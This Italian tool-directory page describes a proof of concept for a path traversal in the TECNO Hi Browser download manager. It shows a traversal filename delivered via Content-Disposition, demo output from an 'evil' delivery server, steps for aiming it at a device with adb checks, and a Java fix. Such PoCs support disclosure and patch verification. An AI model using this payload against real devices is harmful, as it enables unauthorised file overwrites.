Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal — PoC Python per la vulnerabilità di path traversal CVE-2026-18907 nel gestore di download del browser TECNO Hi. Include un server HTTP dannoso e un downloader semplice per dimostrare la correzione. | Kitploit
Strumenti/GitHubGitHub/hunt-benito/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal
Sicurezza AndroidAnalisi delle VulnerabilitàExploitPentesting di App MobiliSfruttamento di Applicazioni WebSicurezza WebSicurezza Mobile
GitHubhunt-benito/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal

PoC Python per la vulnerabilità di path traversal CVE-2026-18907 nel gestore di download del browser TECNO Hi. Include un server HTTP dannoso e un downloader semplice per dimostrare la correzione.

Vedi Repository
828 giorni faNon ancora revisionato

CVE-2026-18907 — Attraversamento di percorso nel gestore di download di TECNO Hi Browser

Prova di concetto per CVE-2026-18907 (CVSS 7.5 High, CWE-23), una vulnerabilità di attraversamento di percorso relativo nella funzione di download dei file di TECNO Hi Browser (com.talpa.hibrowser) versione 2.23.1.1. Il browser si fidava di un nome file Content-Disposition controllato dall'attaccante e lo concatenava alla directory di download senza sanificare i separatori di percorso né verificare il percorso canonico del risultato — quindi le sequenze ../ nel nome file permettevano che il corpo della risposta venisse scritto fuori da Download/, in qualsiasi percorso consentito dai permessi di archiviazione del browser.

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-18907
  • Advisory del fornitore (TECNO SRC): https://security.tecno.com/SRC/blogdetail/448?lang=en_US
  • Articolo di accompagnamento: https://www.hunt-benito.com/blog/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal/
  • Ricercatore accreditato: MUSTAFA SANLI
  • Stato: corretto nell'ultima versione di Hi Browser (secondo l'advisory TECNO).

Questo PoC non include l'APK proprietario com.talpa.hibrowser. Dimostra (a) l'esatta consegna HTTP dannosa e (b) la classe di causa principale del bug (un downloader che si fida di un nome file della risposta come componente di percorso). La stessa primitiva è ciò che CVE-2026-18907 descrive.

Files

FileScopo
evil_server.pyIl server HTTP dannoso. Restituisce una risposta il cui nome file Content-Disposition contiene . Questa è la .

Quick start

root@kitploit:~
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
 CVE-2026-18907 path-traversal delivery server
================================================================
 listening     : http://0.0.0.0:8000/
 traversal file: '../../pwned.txt'
 payload bytes : 43
----------------------------------------------------------------
 Point a vulnerable browser/downloader at the URL above.
 On a VULNERABLE client the file escapes the download dir.
================================================================

# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
 CVE-2026-18907 naive downloader
================================================================
 download dir : /tmp/demo/Download
 Content-Disposition: attachment; filename="../../pwned.txt"
 parsed name  : '../../pwned.txt'
----------------------------------------------------------------
 [VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
              resolved -> /tmp/pwned.txt
              escaped download dir: True
 [FIXED]      wrote 43 bytes -> /tmp/demo/Download/pwned.txt
             ../ discarded by basename(); contained OK
================================================================

La join vulnerabile produceva /tmp/demo/Download/../../pwned.txt, il sistema operativo risolveva i .., e il file veniva scritto in /tmp/pwned.txt — fuori dalla directory di download. Il percorso corretto applicava prima os.path.basename() (i ../ sono informazione sul percorso e vengono scartati, lasciando pwned.txt) e poi verificava che il percorso canonico rimanesse all'interno della directory di download.

Puntare un browser su di esso

Avvia evil_server.py su un host raggiungibile dal dispositivo di test, quindi naviga con un browser vulnerabile su http://<host>:8000/. Su un browser che avvia automaticamente i download di tipo attachment e non sanifica il nome file, il file viene scritto in un percorso risolto dalla catena di ../. Verifica che il contenimento sia fallito con adb:

root@kitploit:~
$ adb shell ls -la /sdcard/Download/         # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt                            # escaped the download directory

Regola la profondità di risalita in base al dispositivo con --depth (il valore predefinito 2 risale da /sdcard/Download/ a /sdcard/; aumentalo per salire più in alto), e il basename finale con --target.

La correzione (una singola prassi)

Per qualsiasi download manager, l'intera classe CWE-23 si riduce a due abitudini applicate insieme:

  1. Riduci a un basename — elimina tutto fino all'ultimo / compreso.
  2. Verifica il contenimento del percorso canonico — dopo la join, canonicalizza e assicurati che il risultato inizi ancora con la directory prevista.
root@kitploit:~
File base = downloadDir.getCanonicalFile();
File out  = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
    throw new SecurityException("refusing to write outside download dir: " + out);
}

Non mettere in blacklist ../ — l'insieme delle codifiche equivalenti all'attraversamento è aperto. Canonicalizza, poi confronta. Quell'algoritmo è chiuso.

Uso responsabile

Esegui il server solo su una rete che controlli e testa solo su un dispositivo di tua proprietà. Una scrittura per attraversamento di percorso è, per definizione, una primitiva di scrittura di file — non puntarla su nulla che non sei disposto a sovrascrivere.

Licenza

MIT — consulta l'articolo di accompagnamento per l'attribuzione completa e le fonti primarie.

Scarica lo strumento
../
consegna
naive_downloader.pyUn downloader minimale che riproduce il pattern vulnerabile join(dir, filename), insieme alla versione corretta (basename + contenimento canonico), così puoi osservare la fuga in una singola esecuzione.